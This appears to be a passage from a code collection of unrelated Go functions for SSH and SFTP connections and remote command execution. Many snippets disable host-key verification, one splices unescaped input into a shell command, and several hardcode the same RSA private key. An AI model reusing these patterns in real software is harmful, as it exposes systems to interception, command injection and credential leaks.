{\n\t\treturn b, err\n\t}\n\t// Create a session. It is one session per command.\n\tsession, err := client.NewSession()\n\tif err != nil {\n\t\treturn b, err\n\t}\n\tdefer session.Close()\n\n\tsession.Stderr = os.Stderr // get output\n\tsession.Stdout = &b // get output\n\t// you can also pass what gets input to the stdin, allowing you to pipe\n\t// content from client to server\n\t// session.Stdin = bytes.NewBufferString(\"My input\")\n\n\t// Finally, run the command\n\tfullCmd := \". ~/.nix-profile/etc/profile.d/nix.sh && cd \" + workDir + \" && nix-shell \" + nixConf + \" --command '\" + cmd + \"'\"\n\tfmt.Println(fullCmd)\n\terr = session.Run(fullCmd)\n\treturn b, err\n}","func (instance *NDiscovery) sendCommand(conn *lygo_n_net.NConn, command string, params map[string]interface{}) *lygo_n_commons.Response {\n\treturn conn.Send(command, params)\n}","func sftpconnect(n *Node) (*sftp.Client, error) {\n\tuser := n.UserName\n\thost := n.Addr\n\tport := 22\n\tvar (\n\t\tauth []ssh.AuthMethod\n\t\taddr string\n\t\tclientConfig *ssh.ClientConfig\n\t\tsshClient *ssh.Client\n\t\tsftpClient *sftp.Client\n\t\terr error\n\t)\n\t// Get auth method\n\tif n.AuthMethod == \"privateKey\" {\n\t\tauth = make([]ssh.AuthMethod, 0)\n\t\tauth = append(auth, publicKeyAuthFunc(n.PrivateKey))\n\t} else if n.AuthMethod == \"password\" {\n\t\tauth = make([]ssh.AuthMethod, 0)\n\t\tauth = append(auth, ssh.Password(n.Password))\n\t}\n\n\thostKeyCallbk := func(hostname string, remote net.Addr, key ssh.PublicKey) error {\n\t\treturn nil\n\t}\n\n\tclientConfig = &ssh.ClientConfig{\n\t\tUser: user,\n\t\tAuth: auth,\n\t\tTimeout: 30 * time.Second,\n\t\tHostKeyCallback: hostKeyCallbk,\n\t}\n\n\t// Connet to ssh\n\taddr = fmt.Sprintf(\"%s:%d\", host, port)\n\n\tif sshClient, err = ssh.Dial(\"tcp\", addr, clientConfig); err != nil {\n\t\treturn nil, err\n\t}\n\n\t// Create sftp client\n\tif sftpClient, err = sftp.NewClient(sshClient); err != nil {\n\t\treturn nil, err\n\t}\n\n\treturn sftpClient, nil\n}","func (rhost *rhostData) connect() {\n\n\t// Get local IP list\n\tips, _ := rhost.getIPs()\n\n\t// Create command buffer\n\tbuf := new(bytes.Buffer)\n\t_, port := rhost.teo.td.GetAddr()\n\tbinary.Write(buf, binary.LittleEndian, byte(len(ips)))\n\tfor _, addr := range ips {\n\t\tbinary.Write(buf, binary.LittleEndian, []byte(addr))\n\t\tbinary.Write(buf, binary.LittleEndian, byte(0))\n\t}\n\tbinary.Write(buf, binary.LittleEndian, uint32(port))\n\tdata := buf.Bytes()\n\tfmt.Printf(\"Connect to r-host, send local IPs\\nip: %v\\nport: %d\\n\", ips, port)\n\n\t// Send command to r-host\n\trhost.teo.sendToTcd(rhost.tcd, CmdConnectR, data)\n\trhost.connected = true\n}","func NewConnection(host, port, user, keyPath string) (*Connection, error) {\n\tconn, err := net.Dial(\"unix\", os.Getenv(\"SSH_AUTH_SOCK\"))\n\tif err != nil {\n\t\tlog.Printf(\"unable to establish net connection $SSH_AUTH_SOCK has value %s\\n\", os.Getenv(\"SSH_AUTH_SOCK\"))\n\t\treturn nil, err\n\t}\n\tdefer conn.Close()\n\tag := agent.NewClient(conn)\n\n\tprivateKeyBytes, err := os.ReadFile(keyPath)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tprivateKey, err := ssh.ParseRawPrivateKey(privateKeyBytes)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\taddKey := agent.AddedKey{\n\t\tPrivateKey: privateKey,\n\t}\n\n\tag.Add(addKey)\n\tsigners, err := ag.Signers()\n\tif err != nil {\n\t\tlog.Println(\"unable to add key to agent\")\n\t\treturn nil, err\n\t}\n\tauths := []ssh.AuthMethod{ssh.PublicKeys(signers...)}\n\n\tcfg := &ssh.ClientConfig{\n\t\tUser: user,\n\t\tAuth: auths,\n\t\tHostKeyCallback: ssh.InsecureIgnoreHostKey(),\n\t}\n\n\tcnctStr := fmt.Sprintf(\"%s:%s\", host, port)\n\tsshClient, err := ssh.Dial(\"tcp\", cnctStr, cfg)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\treturn &Connection{\n\t\tHost: host,\n\t\tPort: port,\n\t\tUser: user,\n\t\tPrivateKeyPath: keyPath,\n\t\tClientConfig: cfg,\n\t\tClient: sshClient,\n\t}, nil\n}","func (h *Host) Connect() error {\n\tkey, err := ioutil.ReadFile(h.SSHKeyPath)\n\tif err != nil {\n\t\treturn err\n\t}\n\tsigner, err := ssh.ParsePrivateKey(key)\n\tif err != nil {\n\t\treturn err\n\t}\n\tconfig := ssh.ClientConfig{\n\t\tUser: h.User,\n\t\tAuth: []ssh.AuthMethod{\n\t\t\tssh.PublicKeys(signer),\n\t\t},\n\t\tHostKeyCallback: ssh.InsecureIgnoreHostKey(),\n\t}\n\taddress := fmt.Sprintf(\"%s:%d\", h.Address, h.SSHPort)\n\tclient, err := ssh.Dial(\"tcp\", address, &config)\n\tif err != nil {\n\t\treturn err\n\t}\n\th.sshClient = client\n\n\treturn nil\n}","func (ssh *SSHConfig) Enter() error {\n\ttunnels, sshConfig, err := ssh.CreateTunnels()\n\tif err != nil {\n\t\tfor _, t := range tunnels {\n\t\t\tnerr := t.Close()\n\t\t\tif nerr != nil {\n\t\t\t\tlog.Warnf(\"Error closing ssh tunnel: %v\", nerr)\n\t\t\t}\n\t\t}\n\t\treturn fmt.Errorf(\"Unable to create command : %s\", err.Error())\n\t}\n\n\tsshCmdString, keyFile, err := createSSHCmd(sshConfig, \"\", false)\n\tif err != nil {\n\t\tfor _, t := range tunnels {\n\t\t\tnerr := t.Close()\n\t\t\tif nerr != nil {\n\t\t\t\tlog.Warnf(\"Error closing ssh tunnel: %v\", nerr)\n\t\t\t}\n\t\t}\n\t\tif keyFile != nil {\n\t\t\tnerr := utils.LazyRemove(keyFile.Name())\n\t\t\tif nerr != nil {\n\t\t\t\tlog.Warnf(\"Error removing file %v\", nerr)\n\t\t\t}\n\t\t}\n\t\treturn fmt.Errorf(\"Unable to create command : %s\", err.Error())\n\t}\n\n\tbash, err := exec.LookPath(\"bash\")\n\tif err != nil {\n\t\tfor _, t := range tunnels {\n\t\t\tnerr := t.Close()\n\t\t\tif nerr != nil {\n\t\t\t\tlog.Warnf(\"Error closing ssh tunnel: %v\", nerr)\n\t\t\t}\n\t\t}\n\t\tif keyFile != nil {\n\t\t\tnerr := utils.LazyRemove(keyFile.Name())\n\t\t\tif nerr != nil {\n\t\t\t\tlog.Warnf(\"Error removing file %v\", nerr)\n\t\t\t}\n\t\t}\n\t\treturn fmt.Errorf(\"Unable to create command : %s\", err.Error())\n\t}\n\n\tproc := exec.Command(bash, \"-c\", sshCmdString)\n\tproc.Stdin = os.Stdin\n\tproc.Stdout = os.Stdout\n\tproc.Stderr = os.Stderr\n\terr = proc.Run()\n\tnerr := utils.LazyRemove(keyFile.Name())\n\tif nerr != nil {\n\t\tlog.Warnf(\"Error removing file %v\", nerr)\n\t}\n\treturn err\n}","func (h *Host) Exec(cmd string) error {\n\tsession, err := h.sshClient.NewSession()\n\tif err != nil {\n\t\treturn err\n\t}\n\tdefer session.Close()\n\n\tstdout, err := session.StdoutPipe()\n\tif err != nil {\n\t\treturn err\n\t}\n\tstderr, err := session.StderrPipe()\n\tif err != nil {\n\t\treturn err\n\t}\n\n\tlogrus.Debugf(\"executing command: %s\", cmd)\n\tif err := session.Start(cmd); err != nil {\n\t\treturn err\n\t}\n\n\tmultiReader := io.MultiReader(stdout, stderr)\n\toutputScanner := bufio.NewScanner(multiReader)\n\n\tfor outputScanner.Scan() {\n\t\tlogrus.Debugf(\"%s: %s\", h.FullAddress(), outputScanner.Text())\n\t}\n\tif err := outputScanner.Err(); err != nil {\n\t\tlogrus.Errorf(\"%s: %s\", h.FullAddress(), err.Error())\n\t}\n\n\treturn nil\n}","func DialSSHWithPassword(addr string, username string, password string, cb ssh.HostKeyCallback) (Client, error) {\n\treturn dialSSH(addr, username, ssh.Password(password), cb)\n}","func (ch *InternalChannel) Connect(c *Client) {}","func (curi *ConnectionURI) dialSSH() (net.Conn, error) {\n\tq := curi.Query()\n\n\tknownHostsPath := q.Get(\"knownhosts\")\n\tif knownHostsPath == \"\" {\n\t\tknownHostsPath = defaultSSHKnownHostsPath\n\t}\n\thostKeyCallback, err := knownhosts.New(os.ExpandEnv(knownHostsPath))\n\tif err != nil {\n\t\treturn nil, fmt.Errorf(\"failed to read ssh known hosts: %w\", err)\n\t}\n\n\tsshKeyPath := q.Get(\"keyfile\")\n\tif sshKeyPath == \"\" {\n\t\tsshKeyPath = defaultSSHKeyPath\n\t}\n\tsshKey, err := ioutil.ReadFile(os.ExpandEnv(sshKeyPath))\n\tif err != nil {\n\t\treturn nil, fmt.Errorf(\"failed to read ssh key: %w\", err)\n\t}\n\n\tsigner, err := ssh.ParsePrivateKey(sshKey)\n\tif err != nil {\n\t\treturn nil, fmt.Errorf(\"failed to parse ssh key: %w\", err)\n\t}\n\n\tusername := curi.User.Username()\n\tif username == \"\" {\n\t\tu, err := user.Current()\n\t\tif err != nil {\n\t\t\treturn nil, err\n\t\t}\n\t\tusername = u.Name\n\t}\n\n\tcfg := ssh.ClientConfig{\n\t\tUser: username,\n\t\tHostKeyCallback: hostKeyCallback,\n\t\tAuth: []ssh.AuthMethod{ssh.PublicKeys(signer)},\n\t\tTimeout: 2 * time.Second,\n\t}\n\n\tport := curi.Port()\n\tif port == \"\" {\n\t\tport = defaultSSHPort\n\t}\n\n\tsshClient, err := ssh.Dial(\"tcp\", fmt.Sprintf(\"%s:%s\", curi.Hostname(), port), &cfg)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\taddress := q.Get(\"socket\")\n\tif address == \"\" {\n\t\taddress = defaultUnixSock\n\t}\n\n\tc, err := sshClient.Dial(\"unix\", address)\n\tif err != nil {\n\t\treturn nil, fmt.Errorf(\"failed to connect to libvirt on the remote host: %w\", err)\n\t}\n\n\treturn c, nil\n}","func (sc *SSHClient) Command(cmd string) (io.Reader, error) {\n\tfmt.Println(cmd)\n\tsession, err := sc.client.NewSession()\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\tdefer session.Close()\n\tout, err := session.StdoutPipe()\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\tbuf := &bytes.Buffer{}\n\twriter := io.MultiWriter(os.Stdout, buf)\n\tgo io.Copy(writer, out)\n\touterr, err := session.StderrPipe()\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\tgo io.Copy(os.Stderr, outerr)\n\terr = session.Run(cmd)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\treturn buf, nil\n}","func newSSHConnectionAndAuth(c *model.Config) (Authentication, error) {\n\ts, err := ssh.Connect(c)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tssh := &SSH{\n\t\tconn: s,\n\t\thost: c.Host,\n\t\tport: c.Port,\n\t\tusername: c.Username,\n\t\tpassword: c.Password,\n\t\ttimeout: c.Timeout,\n\t\ttimeoutCommand: c.TimeoutCommand,\n\t}\n\tif err := ssh.setBannerName(); err != nil {\n\t\treturn nil, err\n\t}\n\n\treturn ssh, nil\n}","func (ch *ServerChannel) Connect(c *Client) {}","func (n *Node) ExecuteCommand(command string) (string, error) {\n\tsigner, err := ssh.ParsePrivateKey(n.SSHKey)\n\tvar output []byte\n\tvar output_string string\n\n\tif err != nil {\n\t\treturn output_string, err\n\t}\n\n\tauths := []ssh.AuthMethod{ssh.PublicKeys([]ssh.Signer{signer}...)}\n\n\tcfg := &ssh.ClientConfig{\n\t\tUser: n.SSHUser,\n\t\tAuth: auths,\n\t\tHostKeyCallback: ssh.InsecureIgnoreHostKey(),\n\t}\n\tcfg.SetDefaults()\n\n\tclient, err := ssh.Dial(\"tcp\", n.PublicIPAddress+\":22\", cfg)\n\tif err != nil {\n\t\treturn output_string, err\n\t}\n\n\tsession, err := client.NewSession()\n\tif err != nil {\n\t\treturn output_string, err\n\t}\n\n\toutput, err = session.Output(command)\n\toutput_string = string(output)\n\treturn output_string, err\n}","func (s *SSHer) Connect() (err error) {\n\taddr := net.JoinHostPort(s.Host, s.Port)\n\tconfig := &ssh.ClientConfig{\n\t\tUser: s.User,\n\t\tAuth: []ssh.AuthMethod{\n\t\t\tssh.Password(s.Pass),\n\t\t},\n\t\tHostKeyCallback: ssh.InsecureIgnoreHostKey(),\n\t}\n\tif s.client, err = ssh.Dial(\"tcp\", addr, config); err != nil {\n\t\treturn\n\t}\n\n\treturn\n}","func testCommand(t *testing.T, client ssh.Client, command string) error {\n\t// To avoid mixing the output streams of multiple commands running in\n\t// parallel tests, we combine stdout and stderr on the remote host, and\n\t// capture stdout and write it to the test log here.\n\tstdout := new(bytes.Buffer)\n\tif err := client.Run(command+\" 2>&1\", stdout, os.Stderr); err != nil {\n\t\tt.Logf(\"`%s` failed with %v:\\n%s\", command, err, stdout.String())\n\t\treturn err\n\t}\n\treturn nil\n}","func sshAgent() (io.ReadWriteCloser, error) {\r\n cmd := exec.Command(\"wsl\", \"bash\", \"-c\", \"PS1=x source ~/.bashrc; socat - UNIX:\\\\$SSH_AUTH_SOCK\")\r\n stdin, err := cmd.StdinPipe()\r\n if err != nil {\r\n return nil, err\r\n }\r\n stdout, err := cmd.StdoutPipe()\r\n if err != nil {\r\n return nil, err\r\n }\r\n if err := cmd.Start(); err != nil {\r\n return nil, err\r\n }\r\n return &sshAgentCmd{stdout, stdin, cmd}, nil\r\n}","func ConnectWithKeyTimeout(host, username, privKey string, timeout time.Duration) (*Client, error) {\n\tsigner, err := ssh.ParsePrivateKey([]byte(privKey))\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tauthMethod := ssh.PublicKeys(signer)\n\n\treturn connect(username, host, authMethod, timeout)\n}","func (t *Terminal) Connect(r *kite.Request) (interface{}, error) {\n\tvar params struct {\n\t\tRemote Remote\n\t\tSession string\n\t\tSizeX, SizeY int\n\t\tMode string\n\t}\n\n\tif err := r.Args.One().Unmarshal(&params); err != nil {\n\t\treturn nil, fmt.Errorf(\"{ remote: [object], session: %s, noScreen: [bool] }, err: %s\",\n\t\t\tparams.Session, err)\n\t}\n\n\tif params.SizeX <= 0 || params.SizeY <= 0 {\n\t\treturn nil, fmt.Errorf(\"{ sizeX: %d, sizeY: %d } { raw JSON : %v }\", params.SizeX, params.SizeY, r.Args.One())\n\t}\n\n\tuser, err := user.Current()\n\tif err != nil {\n\t\treturn nil, fmt.Errorf(\"Could not get home dir: %s\", err)\n\t}\n\n\tif params.Mode == \"create\" && t.HasLimit(r.Username) {\n\t\treturn nil, errors.New(\"session limit has reached\")\n\t}\n\n\tcommand, err := newCommand(params.Mode, params.Session, user.Username)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\t// get pty and tty descriptors\n\tp, err := pty.NewPTY()\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\t// We will return this object to the client.\n\tserver := &Server{\n\t\tSession: command.Session,\n\t\tremote: params.Remote,\n\t\tpty: p,\n\t\tinputHook: t.InputHook,\n\t}\n\tserver.setSize(float64(params.SizeX), float64(params.SizeY))\n\n\tt.AddUserSession(r.Username, command.Session, server)\n\n\t// wrap the command with sudo -i for initiation login shell. This is needed\n\t// in order to have Environments and other to be initialized correctly.\n\t// check also if klient was started in root mode or not.\n\tvar args []string\n\tif os.Geteuid() == 0 {\n\t\targs = []string{\"-i\", command.Name}\n\t} else {\n\t\targs = []string{\"-i\", \"-u\", \"#\" + user.Uid, \"--\", command.Name}\n\t}\n\n\t// check if we have custom screenrc path and there is a file for it. If yes\n\t// use it for screen binary otherwise it'll just start without any screenrc.\n\tif t.screenrcPath != \"\" {\n\t\tif _, err := os.Stat(t.screenrcPath); err == nil {\n\t\t\targs = append(args, \"-c\", t.screenrcPath)\n\t\t}\n\t}\n\n\targs = append(args, command.Args...)\n\tcmd := exec.Command(\"/usr/bin/sudo\", args...)\n\n\t// For test use this, sudo is not going to work\n\t// cmd := exec.Command(command.Name, command.Args...)\n\n\tcmd.Env = []string{\"TERM=xterm-256color\", \"HOME=\" + user.HomeDir}\n\tcmd.Stdin = server.pty.Slave\n\tcmd.Stdout = server.pty.Slave\n\tcmd.Dir = user.HomeDir\n\t// cmd.Stderr = server.pty.Slave\n\n\t// Open in background, this is needed otherwise the process will be killed\n\t// if you hit close on the client side.\n\tcmd.SysProcAttr = &syscall.SysProcAttr{Setctty: true, Setsid: true}\n\terr = cmd.Start()\n\tif err != nil {\n\t\tfmt.Println(\"could not start\", err)\n\t}\n\n\t// Wait until the shell process is closed and notify the client.\n\tgo func() {\n\t\terr := cmd.Wait()\n\t\tif err != nil {\n\t\t\tfmt.Println(\"cmd.wait err\", err)\n\t\t}\n\n\t\tserver.pty.Slave.Close()\n\t\tserver.pty.Master.Close()\n\t\tserver.remote.SessionEnded.Call()\n\n\t\tt.DeleteUserSession(r.Username, command.Session)\n\t}()\n\n\t// Read the STDOUT from shell process and send to the connected client.\n\tgo func() {\n\t\tbuf := make([]byte, (4096)-utf8.UTFMax, 4096)\n\t\tfor {\n\t\t\tn, err := server.pty.Master.Read(buf)\n\t\t\tfor n < cap(buf)-1 {\n\t\t\t\tr, _ := utf8.DecodeLastRune(buf[:n])\n\t\t\t\tif r != utf8.RuneError {\n\t\t\t\t\tbreak\n\t\t\t\t}\n\t\t\t\tserver.pty.Master.Read(buf[n : n+1])\n\t\t\t\tn++\n\t\t\t}\n\n\t\t\t// Rate limiting...\n\t\t\tif server.throttling {\n\t\t\t\ts := time.Now().Unix()\n\t\t\t\tif server.currentSecond != s {\n\t\t\t\t\tserver.currentSecond = s\n\t\t\t\t\tserver.messageCounter = 0\n\t\t\t\t\tserver.byteCounter = 0\n\t\t\t\t\tserver.lineFeeedCounter = 0\n\t\t\t\t}\n\t\t\t\tserver.messageCounter += 1\n\t\t\t\tserver.byteCounter += n\n\t\t\t\tserver.lineFeeedCounter += bytes.Count(buf[:n], []byte{'\\n'})\n\t\t\t\tif server.messageCounter > 100 || server.byteCounter > 1<<18 || server.lineFeeedCounter > 300 {\n\t\t\t\t\ttime.Sleep(time.Second)\n\t\t\t\t}\n\t\t\t}\n\n\t\t\tserver.remote.Output.Call(string(filterInvalidUTF8(buf[:n])))\n\t\t\tif err != nil {\n\t\t\t\tbreak\n\t\t\t}\n\t\t}\n\t}()\n\n\treturn server, nil\n}","func (p *plugin) cmdJoin(w irc.ResponseWriter, r *irc.Request, params cmd.ParamList) {\n\tvar channel irc.Channel\n\tchannel.Name = params.String(0)\n\n\tif params.Len() > 1 {\n\t\tchannel.Password = params.String(1)\n\t}\n\n\tif params.Len() > 2 {\n\t\tchannel.Key = params.String(2)\n\t}\n\n\tproto.Join(w, channel)\n}","func (s *BaseAspidaListener) EnterConnectionSSH(ctx *ConnectionSSHContext) {}","func connect(user, host string, port int) (*ssh.Client, error) {\n\tvar (\n\t\tauth \t\t\t[]ssh.AuthMethod\n\t\taddr \t\t\tstring\n\t\tclientConfig \t*ssh.ClientConfig\n\t\tclient \t\t\t*ssh.Client\n\t\terr \t\t\terror\n\t)\n\tauth = make([]ssh.AuthMethod, 0)\n\ttestPrivateKeys, err := ssh.ParseRawPrivateKey([]byte(`-----BEGIN RSA PRIVATE KEY-----\nMIIEowIBAAKCAQEApnIg4Q/g2thAR3vAUw6EPjqgWIEJ7+FZ+AQZtHUc7b920VJI\n7JPmZ1xwdUArlCpQIMAt6mAwV9Z/C+Nc9qIpIeQwKaAd6YWVdr3jFyHLC9rqIT2g\nVifCDnMkSnV7Lvuu5QTvgURGOYpyUhUDJBdBY4YAu9q1ITy35oB0xLh1vUCwuDxI\noM5lMc+HsPjf4/SyfyAacBuoD7BvAJsxJ6xuXBaIlmWcw8o76O/Y5PGcYKPS9/bI\nrN8TrstuWILp2Nvi4WoxVMIQ98i1S6jM47arI+vNGlFrwolrCanH8GBj1NOBh4BF\nJwJisi0Z3+RrtxOVRtgZ9S/tKdK73X6EpbN4hwIDAQABAoIBAAuBRAiKgm5eGENY\nqHiVPkrW3pJ/iOJN31wnXGd+2NsOKvZZC7Vem8R1PUi9gMWjDxrUbdgPggfwSaPW\nuWxK1TEEhte5u5eSpjwo7/N/YHuXTCu0CMsrwFwjVVTYPgWHXBV0e+GhiIEdsr09\nupPaD6kDcDWL7o03lzaVlnyqi2jjXT6kUDyEFCbIAGtoxaYf3clT5e30FnyZhiCH\nm8/Qqv5M1wcVIVdsItHqMsQXQF34eT/Lg3r/Ui1bQcUldc6yYjGpC08EdDNKhGT2\nf2QwAv7UJ+GB8RNl12w3fAh3ReuiW8NEtDQ1nuSahkX5YlIWkqRDOd6Sjrg1ZkfW\nu0/zPZECgYEA2m+w90vb3ui7M/Q0AYJivo88YKhT3ismQs2+CkkgWJ7IohJj3VSh\nREljeAwEVEKv8G8lXgjTNKQ+B4sPFckIvIWGkwo7cuerIwn9n41K20oGb6gEl0jW\nmVbhv0dy6yfp8deBCOZB4YgonXWsuv4lw8DaUoakGxZgFfChjH0VvbUCgYEAwxGj\nrmq+RQWYYna9WWn2GPEJoX0SBU39pHQYBKfQ++pMIUrrryCjPvBNnIICng82RjTp\nMU8BvudvDCJgj3J79TDetBnwVt8/nAGIkleyuWzDMQwF7khBS9/TqUUqmH88GmOt\n40BPThCBx8YgKiPpmGYgPnUww1bqpvxKT9O0IssCgYEAjFH7qKD+mW9/8pwJXH7Z\n1/hDnQQE/E9TwM5SKmFXehZmZFbT+DaJckiCsXdmwIomY5nCs2mP490uS8I06pW+\nGvzbulF0ZxgTg+rDFl+5mq0u/UM9z8FmuhJp6mqHlDCLxGPf7EuePrctABm74FOr\nBtk4ZpM/kHcLOozd+lXQRZECgYBipWr26zgpQ3kaYh3DN9iiKFLMfak9UYFxRtxW\njl8a5hN1yqOBPqoPTAqTmROlxt+VhXBf5Spm1jbMFh5qrGSPTBVzUqK968wJIqVk\nDEFvj9bt2LyvEY8jxZ8OPNIbqExGtB3djEoOmj5nPoRJizu4O/0WWME+J5gmtfMG\nh3LTHQKBgDlITGqdIM4Pp54X5ppOW9S55yaAMBJUUhgUsJ73vEcQsBCZ8xkJXg/Q\nmuPfcFzSD/IgeFoWxYrJIk0CBov3ah+14z5YV1JoKIXAlL7V18f7Omaav8/bozOP\nx78MQ06CGEFRcD4LPMITxTDj6zDm1h7iPhG4m2c9Shy0rwpFmFdd\n-----END RSA PRIVATE KEY-----`))\n\tif err != nil {\n\t\t// fmt.Println(\"Unable to parse test key :\", err)\n\t\treturn nil, err\n\t}\n\ttestSingers, _ := ssh.NewSignerFromKey(testPrivateKeys)\n\n\tauth = append(auth, ssh.PublicKeys(testSingers))\n\tclientConfig = &ssh.ClientConfig{\n\t\tUser: \t\t\t\tuser,\n\t\tAuth: \t\t\t\tauth,\n\t\tTimeout: \t\t\t30 * time.Second,\n\t\tHostKeyCallback: \tfunc(hostname string, remote net.Addr, key ssh.PublicKey) error {\n\t\t\treturn nil\n\t\t},\n\t}\n\taddr = fmt.Sprintf(\"%s:%d\", host, port)\n\tif client, err = ssh.Dial(\"tcp\", addr, clientConfig); err != nil {\n\t\treturn nil, err\n\t}\n\treturn client, nil\n}","func connect(user, host string, port int) (*ssh.Session, error) {\n\tvar (\n\t\tauth []ssh.AuthMethod\n\t\taddr string\n\t\tclientConfig *ssh.ClientConfig\n\t\tclient *ssh.Client\n\t\tsession *ssh.Session\n\t\terr error\n\t)\n\tauth = make([]ssh.AuthMethod, 0)\n\ttestPrivateKeys, err := ssh.ParseRawPrivateKey([]byte(`-----BEGIN RSA PRIVATE KEY-----\nMIIEowIBAAKCAQEApnIg4Q/g2thAR3vAUw6EPjqgWIEJ7+FZ+AQZtHUc7b920VJI\n7JPmZ1xwdUArlCpQIMAt6mAwV9Z/C+Nc9qIpIeQwKaAd6YWVdr3jFyHLC9rqIT2g\nVifCDnMkSnV7Lvuu5QTvgURGOYpyUhUDJBdBY4YAu9q1ITy35oB0xLh1vUCwuDxI\noM5lMc+HsPjf4/SyfyAacBuoD7BvAJsxJ6xuXBaIlmWcw8o76O/Y5PGcYKPS9/bI\nrN8TrstuWILp2Nvi4WoxVMIQ98i1S6jM47arI+vNGlFrwolrCanH8GBj1NOBh4BF\nJwJisi0Z3+RrtxOVRtgZ9S/tKdK73X6EpbN4hwIDAQABAoIBAAuBRAiKgm5eGENY\nqHiVPkrW3pJ/iOJN31wnXGd+2NsOKvZZC7Vem8R1PUi9gMWjDxrUbdgPggfwSaPW\nuWxK1TEEhte5u5eSpjwo7/N/YHuXTCu0CMsrwFwjVVTYPgWHXBV0e+GhiIEdsr09\nupPaD6kDcDWL7o03lzaVlnyqi2jjXT6kUDyEFCbIAGtoxaYf3clT5e30FnyZhiCH\nm8/Qqv5M1wcVIVdsItHqMsQXQF34eT/Lg3r/Ui1bQcUldc6yYjGpC08EdDNKhGT2\nf2QwAv7UJ+GB8RNl12w3fAh3ReuiW8NEtDQ1nuSahkX5YlIWkqRDOd6Sjrg1ZkfW\nu0/zPZECgYEA2m+w90vb3ui7M/Q0AYJivo88YKhT3ismQs2+CkkgWJ7IohJj3VSh\nREljeAwEVEKv8G8lXgjTNKQ+B4sPFckIvIWGkwo7cuerIwn9n41K20oGb6gEl0jW\nmVbhv0dy6yfp8deBCOZB4YgonXWsuv4lw8DaUoakGxZgFfChjH0VvbUCgYEAwxGj\nrmq+RQWYYna9WWn2GPEJoX0SBU39pHQYBKfQ++pMIUrrryCjPvBNnIICng82RjTp\nMU8BvudvDCJgj3J79TDetBnwVt8/nAGIkleyuWzDMQwF7khBS9/TqUUqmH88GmOt\n40BPThCBx8YgKiPpmGYgPnUww1bqpvxKT9O0IssCgYEAjFH7qKD+mW9/8pwJXH7Z\n1/hDnQQE/E9TwM5SKmFXehZmZFbT+DaJckiCsXdmwIomY5nCs2mP490uS8I06pW+\nGvzbulF0ZxgTg+rDFl+5mq0u/UM9z8FmuhJp6mqHlDCLxGPf7EuePrctABm74FOr\nBtk4ZpM/kHcLOozd+lXQRZECgYBipWr26zgpQ3kaYh3DN9iiKFLMfak9UYFxRtxW\njl8a5hN1yqOBPqoPTAqTmROlxt+VhXBf5Spm1jbMFh5qrGSPTBVzUqK968wJIqVk\nDEFvj9bt2LyvEY8jxZ8OPNIbqExGtB3djEoOmj5nPoRJizu4O/0WWME+J5gmtfMG\nh3LTHQKBgDlITGqdIM4Pp54X5ppOW9S55yaAMBJUUhgUsJ73vEcQsBCZ8xkJXg/Q\nmuPfcFzSD/IgeFoWxYrJIk0CBov3ah+14z5YV1JoKIXAlL7V18f7Omaav8/bozOP\nx78MQ06CGEFRcD4LPMITxTDj6zDm1h7iPhG4m2c9Shy0rwpFmFdd\n-----END RSA PRIVATE KEY-----`))\n\tif err != nil {\n\t\tglog.Infoln(\"Unable to parse test key :\", err)\n\t}\n\ttestSingers, _ := ssh.NewSignerFromKey(testPrivateKeys)\n\n\tauth = append(auth, ssh.PublicKeys(testSingers))\n\tclientConfig = &ssh.ClientConfig{\n\t\tUser: user,\n\t\tAuth: auth,\n\t\t//\t\tTimeout: \t\t\t60 * time.Second,\n\t\tHostKeyCallback: func(hostname string, remote net.Addr, key ssh.PublicKey) error {\n\t\t\treturn nil\n\t\t},\n\t}\n\taddr = fmt.Sprintf(\"%s:%d\", host, port)\n\tif client, err = ssh.Dial(\"tcp\", addr, clientConfig); err != nil {\n\t\treturn nil, err\n\t}\n\tif session, err = client.NewSession(); err != nil {\n\t\treturn nil, err\n\t}\n\treturn session, nil\n}","func connect(user, host string, port int) (*ssh.Session, error) {\n\tvar (\n\t\tauth []ssh.AuthMethod\n\t\taddr string\n\t\tclientConfig *ssh.ClientConfig\n\t\tclient *ssh.Client\n\t\tsession *ssh.Session\n\t\terr error\n\t)\n\tauth = make([]ssh.AuthMethod, 0)\n\ttestPrivateKeys, err := ssh.ParseRawPrivateKey([]byte(`-----BEGIN RSA PRIVATE KEY-----\nMIIEowIBAAKCAQEApnIg4Q/g2thAR3vAUw6EPjqgWIEJ7+FZ+AQZtHUc7b920VJI\n7JPmZ1xwdUArlCpQIMAt6mAwV9Z/C+Nc9qIpIeQwKaAd6YWVdr3jFyHLC9rqIT2g\nVifCDnMkSnV7Lvuu5QTvgURGOYpyUhUDJBdBY4YAu9q1ITy35oB0xLh1vUCwuDxI\noM5lMc+HsPjf4/SyfyAacBuoD7BvAJsxJ6xuXBaIlmWcw8o76O/Y5PGcYKPS9/bI\nrN8TrstuWILp2Nvi4WoxVMIQ98i1S6jM47arI+vNGlFrwolrCanH8GBj1NOBh4BF\nJwJisi0Z3+RrtxOVRtgZ9S/tKdK73X6EpbN4hwIDAQABAoIBAAuBRAiKgm5eGENY\nqHiVPkrW3pJ/iOJN31wnXGd+2NsOKvZZC7Vem8R1PUi9gMWjDxrUbdgPggfwSaPW\nuWxK1TEEhte5u5eSpjwo7/N/YHuXTCu0CMsrwFwjVVTYPgWHXBV0e+GhiIEdsr09\nupPaD6kDcDWL7o03lzaVlnyqi2jjXT6kUDyEFCbIAGtoxaYf3clT5e30FnyZhiCH\nm8/Qqv5M1wcVIVdsItHqMsQXQF34eT/Lg3r/Ui1bQcUldc6yYjGpC08EdDNKhGT2\nf2QwAv7UJ+GB8RNl12w3fAh3ReuiW8NEtDQ1nuSahkX5YlIWkqRDOd6Sjrg1ZkfW\nu0/zPZECgYEA2m+w90vb3ui7M/Q0AYJivo88YKhT3ismQs2+CkkgWJ7IohJj3VSh\nREljeAwEVEKv8G8lXgjTNKQ+B4sPFckIvIWGkwo7cuerIwn9n41K20oGb6gEl0jW\nmVbhv0dy6yfp8deBCOZB4YgonXWsuv4lw8DaUoakGxZgFfChjH0Vv